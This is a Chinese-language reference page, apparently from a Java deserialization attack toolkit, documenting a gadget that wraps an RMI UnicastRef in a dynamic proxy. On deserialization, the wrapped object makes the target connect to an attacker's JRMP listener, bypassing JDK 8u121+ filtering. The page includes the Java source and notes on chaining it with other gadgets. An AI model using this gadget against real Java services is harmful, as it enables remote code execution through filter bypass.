- 类别:javanative 别名:— 优先级:—
- 作者:Wh1t3p1g
- 依赖:无(纯 JDK)
把内层 UnicastRef 用动态代理包装成一个 Remote 对象。反序列化该代理时,其 RemoteObjectInvocationHandler 会驱动 UnicastRef 向攻击者 JRMP 地址发起 RMI 连接,触发二次反序列化。是 RMIConnectWrapped 的动态代理变体,同样用于绕过 jdk >= 8u121 的 RMI 限制。
- 入口
tags:无——不作为标签自动串联的入口。 - 衔接
nextTags:RMIConnect—— 之后需接一个产出UnicastRef/RemoteRef(指向恶意 JRMP 地址)的 gadget。 excludes:无。
public class RMIConnectWrappedWithProxy extends RMIConnectWrapped {
@Override
public Remote getObject(Object obj) throws Exception {
return (Remote)Proxy.newProxyInstance(
RemoteRef.class.getClassLoader(),
new Class[]{Remote.class},
new RemoteObjectInvocationHandler((UnicastRef)obj));
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context);
return this.getObject(object);
}
}- 本类
extends RMIConnectWrapped,仅覆写getObject:不再用RMIServerImpl_Stub,而是用Proxy.newProxyInstance生成一个实现Remote接口的动态代理,其InvocationHandler为RemoteObjectInvocationHandler,后者持有内层UnicastRef。 - 反序列化时,
RemoteObjectInvocationHandler随代理一并恢复,内部UnicastRef携带攻击者的endpoint;当 RMI 框架对该Remote代理触发方法调用时,handler 转发到UnicastRef.invoke,即向 JRMP 地址发起连接,远端返回对象被本地反序列化。 invoke逻辑与基类一致:chain.doCreate取内层UnicastRef,交getObject包装。链由内向外构建。- 与基类的差别在载体形态:基类走
RMIServerImpl_Stub(具体 stub 类),本类走通用动态代理,二者应对不同的过滤/白名单环境,可择优绕过。
本类无 @Param。JRMP 目标地址由下游产出 UnicastRef 的 gadget 决定。
- 纯 JDK;适用
jdk >= 8u121——用动态代理 +RemoteObjectInvocationHandler包装UnicastRef发起 RMI 连接。 - 本身不 RCE,需配合攻击者 JRMP Listener 返回二次 payload。
- 与基类
RMIConnectWrapped语义相同、包装手法不同;实测中若目标对 stub 类有限制可切换到代理版,反之亦然。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 基类:RMIConnectWrapped(
RMIServerImpl_Stub包装)。 - 同族(不同 bypass):RMIConnectWithUnicastRemoteObject(UnicastRemoteObject + ssf 反射,jdk 8u232~8u242)。
- 下游(
nextTags=RMIConnect):产出恶意UnicastRef/RemoteRef的 gadget(amf 类别UnicastRefGadget、UnicastRef2Gadget)。 - 相关:
JRMPClient/JRMPListener、RMIConnector。